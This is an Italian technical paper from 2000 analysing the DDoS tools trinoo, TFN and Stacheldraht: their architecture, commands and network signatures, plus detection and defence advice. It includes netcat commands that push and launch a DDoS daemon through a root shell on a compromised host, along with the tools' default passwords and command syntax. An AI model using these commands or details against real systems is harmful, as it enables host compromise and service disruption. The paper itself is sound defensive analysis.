-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Appunti sugli strumenti di Distributed Denial of Service (DDoS) Gianni Bianchini, Alessio Frusciante {giannibi, algol}@firenze.linux.it HackLab Firenze - 23 Febbraio 2000 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INTRODUZIONE ============ Per Denial of Service (DoS) si intende generalmente un attacco progettato allo scopo di impedire le regolari funzioni di un sistema o comunque causarne un degrado delle prestazioni. Nel contesto delle reti, un simile risultato lo si ottiene tipicamente con l'invio di informazione opportunamente "forgiata". Il DoS puo' essere causato ad esempio dal volume stesso dei dati passati alla vittima, che provoca la saturazione delle risorse del sistema (starvation), o dal contenuto di questi, appositamente progettato per sfruttare le vulnerabilita' presenti nei servizi o nei protocolli, siano queste "concettuali" o di implementazione hardware e software. Gli attacchi DoS che consideriamo si basano sull'architettura {TCP, UDP, ICMP}/IP [12] e sui servizi che la utilizzano. Alcune delle tipologiep iu' comuni sono le seguenti: - Flooding generico (UDP, ICMP) L'obiettivo di tali attacchi e' essenzialmente quello di saturare la banda del bersaglio (chi ha piu' banda vince...) o altre risorse (es. CPU time dei dispositivi di rete). "Pepsi", ad esempio, realizza un flooding UDP diretto alle porte dedicate alla diagnostica su alcuni router. - SYN flooding Sono attacchi basati sull'invio di richieste di apertura connessione TCP (SYN messages) cui non segue il completamento dell'handshaking necessario allo stabilirsi del collegamento (cio' si ottiene per esempio mediante spoofing dell'indirizzo di provenienza). Le richieste "in sospeso" vengono memorizzate dal server in un buffer di lunghezza finita, suscettibile di overflow qualora la frequenza di arrivo delle nuove richieste risulti superiore alla frequenza di smaltimento di quelle in timeout. Il risultato e' l'incapacita' del sistema di accettare nuove connessioni "legittime". - Teardrop e relative varianti (bonk, nestea, newtear, ecc.) basate su "fragmentation bugs" Questi DoS sfruttano varie vulnerabilita' (tipiche dei diversi sistemi) nell'implementazione dell'IP per quanto riguarda il codice di riassemblaggio dei pacchetti IP frammentati; il loro effetto e' tipicamente quello di causare il crash del sistema che ne e' vittima. - Attacchi che sfruttano "errori di progetto" di varia natura del bersaglio E' il caso di "land", che invia al server pacchetti SYN con indirizzo di origine uguale all'indirizzo di destinazione, situazione non prevista e non correttamente gestita nelle prime versioni di alcuni sistemi, o del famoso "ping of death", che sfrutta l'incapacita' di gestire messaggi ICMP di grandi dimensioni, o ancora di "jolt", che si basa sulla gestione impropria della frammentazione dell'ICMP. - DoS "ad amplificazione di traffico" Il piu' famoso di questi e' "smurf", il quale invia un gran numero di richieste ICMP_ECHO (ping) ad un indirizzo di broadcast di una sottorete (ad es. x.y.z.255), aventi ciascuna come indirizzo di ritorno quello della macchina A, vittima dell'attacco. All'arrivo della richiesta ICMP_ECHO, ogni host x.y.z.t risponde con un ICMP_ECHOREPLY indirizzato alla macchina A, la quale, specialmente se la rete x.y.z.t e' composta da un buon numero di host, viene "assalita" dal traffico entrante e perde connettivita'. La variante "fraggle" sfrutta l'UDP echo. Tanto A quanto la rete utilizzata per generare il traffico risultano di fatto "vittime" di questo tipo di attacchi. - Attacchi DoS diretti ai servizi Errori di vario genere nel progetto e nella codifica dei daemon di rete possono essere sfruttati per alterare le prestazioni dei servizi o renderli inefficienti. La mancanza di controllo sulla lunghezza dell'input fornito dal client puo' ad esempio generare la morte del daemon di servizio a causa di un errore di protezione; e' il caso di alcune (non troppo vecchie) versioni di bind: i nameserver che le impiegano possono essere messi facilmente fuori uso. Si rimanda a [13] per la descrizione tecnica di un gran numero di possibili attacchi DoS. In passato, ogni attacco di questo genere verso un particolare server o rete proveniva normalmente da una sola sorgente, di solito rappresentata da un host in precedenza compromesso e con sufficiente banda in uscita. Tipici punti di partenza erano (e sono tuttora) le reti universitarie, caratterizzate da una buona connettivita' e dalla presenza di numerose macchine unix, connesse direttamente "sul mondo" e spesso gestite in modo irrispettoso delle piu' elementari misure di sicurezza, come un'adeguata configurazione dei servizi di rete e l'aggiornamento del software piu' esposto a permettere intrusioni. Recentemente sono stati introdotti alcuni strumenti software che traggono vantaggio dalla possibilita' di disporre di un certo numero di risorse, opportunamente predisposte, allo scopo di condurre un'azione di DoS in qualche modo coordinata. Tali strumenti sono noti come Distributed System Intruder Tools. Mediante essi e' possibile lanciare attacchi di tipo DoS a partire da piu' sistemi contemporaneamente verso uno o piu' bersagli. Il vantaggio piu' evidente di un simile approccio e' la possibilita' di ottenere effetti di entita' assai maggiore rispetto a quelli di un attacco "semplice"; inoltre la particolare struttura "gerarchica" di questi sistemi e' tale da rendere difficilmente tracciabile l'origine dell'attacco [14]. In generale, gli strumenti di DDos fanno affidamento su un buon numero di host connessi in rete sui quali l'autore dell'offensiva dispone di accesso privilegiato. Si tratta in genere di sistemi precedentemente compromessi a livello root, ad esempio mediante l'exploit remoto di note vulnerabilita' di alcuni servizi di rete [10]. PREPARIAMO L'ARSENALE ===================== Le operazioni "preliminari" all'attuazione di un attacco DDoS possono essere ad esempio le seguenti: 1) Utilizzo di un account qualunque come "deposito" di strumenti di vario genere come scanner, sniffer, exploit per un certo numero di vulnerabilita', rootkits, liste di host compromessi o compromettibili, sorgenti e binari degli strumenti DDoS, ecc. 2) Effettuazione di uno scan estensivo di potenziali host di cui assumere il controllo. Tipicamente ci si concentra su sistemi unix con funzioni di server nei cui servizi si possano sfruttare da remoto condizioni di buffer overflow che permettano l'esecuzione di una root shell: tali condizioni si trovano in alcune versioni di servizi RPC quali nfs, in alcuni server ftp, ecc. I sistemi presi di mira sono di solito Linux e Solaris, sia per la facilita' con cui se ne possono trovare di installati "a scatola chiusa", sia per la vasta disponibilita' di "shellcode" precompilati e rootkits per queste piattaforme. Naturalmente, a partire da un host compromesso, e' possibile tentare di sfruttare il trust che altri hanno su questo, in modo da guadagnare altri host alla causa in maniera un po' piu' agevole rispetto all'exploit di un buffer overflow. Da qui l'opportunita' dell'installazione di tool come sniffer, ecc. 3) Acquisizione del controllo degli host individuati, sui quali solitamente viene messa in esecuzione una root shell a cui sia possibile inviare comandi tramite netcat (nc) su una specifica porta. In questo modo si ha il totale controllo da remoto della macchina senza doverci accedere interattivamente. Supposto che miohost sia l'host "bucato" su cui e' stata predisposta una root shell che ascolta sulla porta 1524/tcp, una serie di comandi del tipo -------------------------------------------------------------------- evil# echo "rcp evil:ddosd /usr/sbin/ddosd" | nc miohost 1524 evil# echo "chmod a+x /usr/sbin/ddosd" | nc miohost 1524 evil# echo "/usr/sbin/ddosd" | nc miohost 1524 -------------------------------------------------------------------- puo' ad esempio essere usata per trasferire il binario del programma daemon ddosd sulla macchina compromessa e ivi mandarlo in esecuzione. Naturalmente questo procedimento puo' essere automatizzato mediante scripting e l'uso di una tabella degli host "disponibili" aiuta in questo senso. Il daemon ddosd (fin qui generico) puo' essere ad esempio il meccanismo mediante il quale altri host comunicheranno con miohost per il coordinamento dell'azione di DoS, secondo il protocollo del particolare strumento usato. Il procedimento di installazione e' molto rapido e la presenza (fisica dell'eseguibile, nella lista dei processi, ecc.) del daemon di servizio puo' essere opportunamente mascherata con metodi classici, come l'impiego di versioni "troianizzate" di alcune utility di sistema (rootkit), la cui installazione puo' essere eseguita contestualmente a quella del daemon. I sistemi DDoS sono caratterizzati da una struttura gerarchica in cui il ruolo di alcune macchine e' piu' cruciale di quello di altre. L'attivita' di tali macchine "centrali" dovra' essere solo minimamente rivelabile: da qui la necessita' di impiego dei suddetti tool e quella di collocare questi "master" in posizioni strategiche come il DNS primario di un provider, che sara' presumibilmente soggetto a intenso traffico (e che magari, visto che ormai siamo a sognare, girera' pure una bella versione bacata di bind... <g>). E' opportuno osservare che gli strumenti di DDoS, come molti programmi che realizzano attacchi DoS in genere, non possono prescindere dal possesso di privilegi root sulla macchina ospite, poiche' tipicamente fanno uso di raw sockets [7]. CARICARE... PUNTARE... FUOCO! ============================= A questo punto e' necessario esaminare la struttura e il funzionamento dei singoli sistemi. Prenderemo in considerazione in modo non tecnicamente dettagliatissimo i seguenti tre: - trinoo - TFN (Tribe Flood Network) - Stacheldraht. TRINOO [2] ========== L'architettura della rete trinoo puo' essere riassunta nel seguente schema, in cui ogni host (tranne presumibilmente il bersaglio) e' costituito da una macchina preparata come descritto nel precedente paragrafo. +----------+ +----------+ | attacker | | attacker | +----------+ +----------+ | | . . . --+------+---------------+------+----------------+-- | | | | | | +----------+ +----------+ +----------+ | master | | master | | master | |(master.c)| | | | | +----------+ +----------+ +----------+ | | | | | | . . . ---+------+-----+------------+---+--------+------------+-+-- | | | | | | | | | | +--------+ +--------+ +--------+ +--------+ +--------+ | daemon | | daemon | | daemon | | daemon | | daemon | | (ns.c) | | | | | | | | | +--------+ +--------+ +--------+ +--------+ +--------+ | | | | | | | | | | . . . ---+------------+------------+------------+------------+---- | | +-----------+ | bersaglio | +-----------+ Ogni "attacker" ha il controllo interattivo di uno o piu' "master" (master.c), ciascuno dei quali ha la capacita' di controllare piu' "daemon" (ns.c), a cui e' affidato il compito di condurre un'azione di DoS coordinata contro il bersaglio. Il tipo di DoS utilizzato da questo sistema e' un semplice UDP flooding su porte random.
-> MASTER <-
Il master server gira su ognuno dei master host e necessita di una password per essere attivato: ---------------------------------------------------------------------- master_xx# ./master ?? g0rave ; passwd di default trinoo v1.07d2+f3+c [Sep 26 1999:10:09:24] master_xx# ---------------------------------------------------------------------- Una volta attivo, il master implementa un telnet daemon (porta 27665/tcp) mediante il quale l'attacker comunica i propri comandi. L'accesso al master e' subordinato anch'esso alla verifica mediante password, decisa al momento della compilazione. Il master risponde all'attacker con un prompt. ---------------------------------------------------------------------- attacker$ telnet master_yy 27665 Trying ... Connected to ... Escape character is '^]'. betaalmostdone ; passwd di default trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/] trinoo> ---------------------------------------------------------------------- Le password impiegate sono del classico tipo crypt() e trasmesse in testo chiaro attraverso la rete; inoltre la comunicazione non e' crittata, il che espone il sistema trinoo tanto allo sniffing delle password che ad eventuale hijacking della sessione [8,11]. Ogni master mantiene una lista dei daemon controllati attivi. Alcuni comandi del master. ---------------------------------------------------------------------- die ; chiudi il master dos IP ; effettua il DoS sull'IP specificato: questo fa si' che il master istruisca ciascuno dei daemon sotto il suo controllo a far partire un attacco verso IP. mdos <IPlist> ; effettua un DoS multiplo degli host in IPlist bcast ; lista tutti i daemon attivi mdie passwd ; uccidi tutti i daemon (passwd='killme') killdead ; effettua un aggiornamento della lista dei daemon attivi interrogando quelli attualmente in lista ---------------------------------------------------------------------- -> DAEMON <-
L'unica comunicazione interattiva e' quella tra attacker e master. Ciascun master, in seguito a comandi inviati dall'attacker, comanda i daemon sotto il suo controllo mediante stringhe del formato arg1 password arg2 trasmesse in testo chiaro sulla rete. Il protocollo utilizzato per la comunicazione master-daemon e' UDP master -> daemon 27444/udp daemon -> master 31335/udp Ciascuno dei daemon possiede la lista dei master server compilata all'interno del programma stesso. All'avvio, ogni daemon notifica la sua presenza al master inviando la stringa *HELLO*, il master mantiene cosi' una lista dei daemon attivi controllati, la quale puo' venire in seguito aggiornata a richiesta mediante appositi comandi. Alcuni comandi del daemon. ---------------------------------------------------------------------- aaa passwd IP ; effettua il DoS dell'IP specificato (UDP flood di durata prefissata) bbb passwd N ; imposta la durata del flood shi passwd ; invia la stringa *HELLO* alla lista dei master per l'aggiornamento della tabella xyz passwd 123:<IPlist> ; effettua un DoS multiplo su <IPlist> ---------------------------------------------------------------------- -> IDENTIFICAZIONE <-
In assenza di eventuali versioni modificate delle utility di monitoraggio, la presenza di un master attivo in un sistema e' riconoscibile dalle seguenti connessioni di rete aperte ---------------------------------------------------------------------- # netstat -a --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:27665 *:* LISTEN . . . udp 0 0 *:31335 *:* . . . # lsof | egrep ":31335|:27665" master 1292 root 3u inet 2460 UDP *:31335 master 1292 root 4u inet 2461 TCP *:27665 (LISTEN) ---------------------------------------------------------------------- dove il processo 1292 "master" e' per l'appunto il master server. La presenza di un daemon lascia invece le seguenti "tracce" ---------------------------------------------------------------------- # netstat -a --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State . . . udp 0 0 *:1024 *:* udp 0 0 *:27444 *:* . . . # lsof | egrep ":27444" ns 1316 root 3u inet 2502 UDP *:27444 ----------------------------------------------------------------------- il pid 1316 "ns" e' quello del daemon. -> PUNTI DEBOLI <-
1) Le password in formato crypt() e il nome dei comandi sono presenti nell'immagine binaria dei programmi. Sostituendo l'hash della password con uno noto e' ad esempio possibile avviare il master e recuperare la lista dei daemon, una volta individuato un daemon si puo' risalire alla lista dei master "cablata" sotto forma di stringhe nel binario. 2) Tutte le debolezze del traffico in chiaro. -> DIFESA <- Alcuni possibili strumenti. 1) A priori, limitare la possibilita' di intrusione a livello root, e questa e' un'altra storia. 2) Monitoraggio del traffico UDP, in modo da individuare le tracce di una comunicazione master-daemon, o TCP per intercettare il dialogo attacker-master, che oltretutto avviene in chiaro. I piu' acrobati possono tentare un hijacking della sessione e procurarsi la lista dei daemon. 3) Il filtraggio UDP non e' di solito efficiente, poiche' compromette il funzionamento di eventuali servizi che impiegano tale protocollo. TFN (Tribe Flood Network) [3] ============================= Questo DDoS tool, il cui autore e' Mixter, si basa uno schema piuttosto simile a quello visto per trinoo ed e' caratterizzato da una maggiore semplicita' nel meccanismo di comunicazione. TFN, di cui esiste un'evoluzione (TFN2k), e' capace di effettuare DoS distribuiti mediante attacchi di tipo - ICMP flood SYN flood UDP flood Attacchi Smurf-like ed offre inoltre la possibilita' di agganciare una root shell ad una porta TCP. La rete e' composta da alcune macchine che girano il programma client tribe.c e da alcune che girano il programma daemon td.c, secondo la seguente struttura: +----------+ +----------+ | attacker | | attacker | +----------+ +----------+ | | . . . --+------+---------------+------+----------------+-- | | | | | | +----------+ +----------+ +----------+ | client | | client | | client | |(tribe.c) | | | | | +----------+ +----------+ +----------+ | | | | | | . . . ---+------+-----+------------+---+--------+------------+-+-- | | | | | | | | | | +--------+ +--------+ +--------+ +--------+ +--------+ | daemon | | daemon | | daemon | | daemon | | daemon | | (td.c) | | | | | | | | | +--------+ +--------+ +--------+ +--------+ +--------+ | | | | | | | | | | . . . ---+------------+------------+------------+------------+---- | | +-----------+ | bersaglio | +-----------+ Al solito, ogni attacker controlla uno o piu' client, ciascuno dei quali controlla piu' daemon, ai quali daemon e' assegnato il compito di effettuare l'attacco coordinato. -> CLIENT <-
Il client non funziona da "server daemon", come nel caso del master di trinoo e non vi e' quindi accesso interattivo. Il programma client viene lanciato, ad esempio mediante una root shell collegata ad una porta o con una semplice sessione ssh, ogni volta che si desidera far partire un attacco o istruire i daemon. La linea di comando e' del tipo: ---------------------------------------------------------------------- # ./tfn <iplist> <type> [ip] [port] <iplist> ; lista dei daemon da attivare <type> ; tipo di attacco o parametro da impostare. es. -2 - Set dimensione pacchetto -1 - Set spoofing mode (0-3) 0 - Stop 1 - UDP flood 2 - SYN flood 3 - ICMP flood 4 - Collega rootshell 5 - Smurf-like (primo IP=bersaglio, altri IP bcast) [ip] ; lista IP (separati da @) [port] ; Porta, obbligatoria per SYN flood, 0=random ---------------------------------------------------------------------- -> DAEMON <-
La comunicazione client-daemon, a differenza di trinoo in cui questa avviene mediante stringhe di testo trasmesse tramite UDP, si realizza tramite ICMP. Ogni messaggio e' costituito da un codice a 16 bit nel campo ID di un pacchetto di tipo ICMP_ECHOREPLY con sequence number costantemente pari a zero, esattamente come il primo pacchetto di _risposta_ ad un comune ping, che non genera di per se' alcun messaggio di ritorno; il daemon eventualmente risponde con un altro pacchetto ICMP_ECHOREPLY. Poiche' _non_ c'e' alcuna protezione della comunicazione mediante password, i codici di default possono essere cambiati nel sorgente dei programmi in modo da prevenire l'invio di comandi "spuri" da parte di terzi. Il meccanismo di comunicazione client-daemon rende l'attivita' del sistema assai difficilmente individuabile, specialmente in reti di una certa dimensione. -> IDENTIFICAZIONE <-
La presenza di un TFN daemon su un host mostra semplicemente un socket aperto con protocollo non specificato ed eventualmente un listening socket TCP nel caso sia attiva la funzione di shell remota. Un possibile output di lsof e' il seguente: ---------------------------------------------------------------------- td 5970 root cwd DIR 3,5 1024 240721 /usr/lib/libx/... td 5970 root rtd DIR 3,1 1024 2 / td 5970 root txt REG 3,5 297508 240734 /usr/lib/libx/.../td (deleted) td 5970 root 0u inet 92909 TCP *:12345 (LISTEN) td 5970 root 3u sock 0,0 92814 can't identify protocol ---------------------------------------------------------------------- -> DIFESA <-
Il canale di comunicazione client-daemon e' piuttosto "sicuro", nel senso che l'unico metodo efficace per interromperlo e' il filtraggio brutale dell'ICMP, in molti casi non applicabile. Un raffinamento di questa tecnica puo' essere rappresentato dalla verifica del rispetto di alcune regole nel traffico, ad esempio la generazione di pacchetti ICMP_ECHOREPLY a seguito di ICMP_ECHO. STACHELDRAHT [15] ================= Stacheldraht e' la parola tedesca per filo spinato ("Stachel" spina e "Draht" cavo) e puo' essere considerato un'evoluzione di trinoo e TFN. In analogia a trinoo, stacheldraht ha una struttura composta da uno piu' master "handler" e molti daemon "agent", ed in comune con TFN ha la possibilita' di scegliere l'attacco tra una varieta' di metodi (ICMP flood, SYN flood, UDP flood e smurfing). -> HANDLER E AGENT <-
Una delle aggiunte piu' interessanti e' il fatto che la comunicazione tra l'attacker e gli handler e' cifrata. Cio' comporta alcune evidenti conseguenze tra cui l'impossibilita' di tentare un hijacking per riuscire ad ottenere informazioni sulla rete di attacco. Nel codice attualmente a disposizione, la comunicazione tra attacker e handler avviene sulla porta 16660 tcp e la comunicazione tra handler e agent avviene tramite ICMP e porta 65000 tcp. Per accedere all'handler, l'attacker deve specificare una password di tipo crypt(), che pero' viene criptata con una passphrase tramite l'algoritmo Blowfish (di default "authentication"). Una volta stabilita la connessione tutto il traffico e' cifrato con Blowfish. L'utente ha la possibilita' di utilizzare una serie di comandi, sia diagnostici, che esecutivi, compreso un help. I comandi servono a verificare quanti agent sono attivi, all'interno di una lista mantenuta sull'handler, eventualmente a terminarli, ad aggiungere o togliere un handler dalla lista degli handler, a cominciare o a terminare l'attacco, etc. Una caratteristica interessante di Stacheldraht e' che permette di effettuare un upgrade degli agent tramite un semplice comando (.distro), che usa rcp per scaricare da un account compromesso un'immagine aggiornata, cancella la vecchia copia e poi lancia quella nuova. Quindi un eventuale cambiamento puo' essere velocemente diffuso. Ci sono poi delle operazioni che gli agent compiono in automatico quando vengono avviati (ricordiamoci che l'utente puo' comunicare solo con l'handler). L'agent cerca di trovare quali sono gli handler attivi, cercando una lista di indirizzi all'interno di un file di configurazione. Se tale file di configurazione non e' presente, l'agent cerca di connettersi ad un indirzzo di default. Una volta trovati quali potrebbero essere gli handler di sua pertinenza, l'agent prova ad interrogare il primo, utilizzando unpacchetto ICMP di tipo Echo Reply con ID 666 e contenente come dati la stringa"skillz". Se l'handler e' attivo, risponde con un altro pacchetto ICMP Echo Reply con id 667 e avente nel campo dati "ficken". Oltre a cio' l'agent tenta di determinare se la rete locale in cui si trova permette l'uscita di pacchetti con IP spoofato. Per fare cio' manda un pacchetto ICMP Echo Reply con indirizzo sorgente 3.3.3.3, ID 666 e il campo dati contenente il vero indirizzo IP. Se l'handler riceve il pacchetto risponde con un altro ICMP Echo Reply, con ID 1000 e "spoofworks" nel campo dati. Se entro un certo timeout l'agent non riceve risposta, spoofera' solo l'ultimo ottetto, altrimenti puo' spoofare l'intero indirizzo. -> IDENTIFICAZIONE <-
Veniamo adesso alle tracce che Stacheldraht lascia. Innanzitutto all'interno degli eseguibili, sia nel master che nel daemon, sono presenti delle stringhe in chiaro che possono essere riconosciute tramite un semplice grep. Chiaramente cio' e' facilmente modificabile dal sorgente. Altre tracce sono i pacchetti di scambio tra master e daemon prima descritti, che contengono stringhe facilmente riconoscibili, in quanto incapsulate in chiaro nei pacchetti ICMP. Non e' difficile scrivere dei tool che monitorano l'attivita' dei pacchetti ICMP Echo Reply con gli ID descritti. Un'ulteriore possibilita' e' quella di controllare i pacchetti con IP con sorgente 3.3.3.3 che escono dalla rete locale, i quali inoltre contengono l'IP reale della macchina su cui risiede il daemon. Anche queste caratteristiche, pero', sono facilmente modificabili dai sorgenti. RIFERIMENTI =========== [1] Denial of Service Attacks Resource - http://www.denialinfo.com [2] D. Dittrich - The DoS Project's "trinoo" distributed denial of service attack tool - http://staff.washington.edu/dittrich/misc/trinoo.analysis [3] D. Dittrich - The "Tribe Flood Network" distributed denial of service attack tool - http://staff.washington.edu/dittrich/misc/tfn.analysis [4] Distributed Denial of Service (DDoS) Attacks/tools - http://staff.washington.edu/dittrich/misc/ddos/ [5] Satan documentation - http://www.wwdsi.com [6] Packetstorm Security Website - http://packetstorm.securify.com [7] Raw IP Networking FAQ - http://www.whitefang.com/rin/ [8] B. Claerhout - A short overview of IP spoofing: PART I - http://www.nmrc.org/files/unix/ip-exploit.txt [9] Anonymous - Maximum Linux Security - SAMS 1999 [10] Bugtraq archive & ML - http://www.securityfocus.com [11] Hunt project - http://www.cri.cz/kra/index.html [12] W. R. Stevens and G. R. Wright - TCP/IP illustrated, vol. I, II, III - Addison-Wesley [13] Attrition DoS Database - http://www.attrition.org/security/denial/index.html [14] Mixter - "Tribe Flood Network 3000" - http://packetstorm.securify.com/distributed/tfn3k.txt [15] D. Dittrich - The "stacheldraht" distributed denial of service attack tool http://staff.washington.edu/dittrich/misc/stacheldraht.analysis
|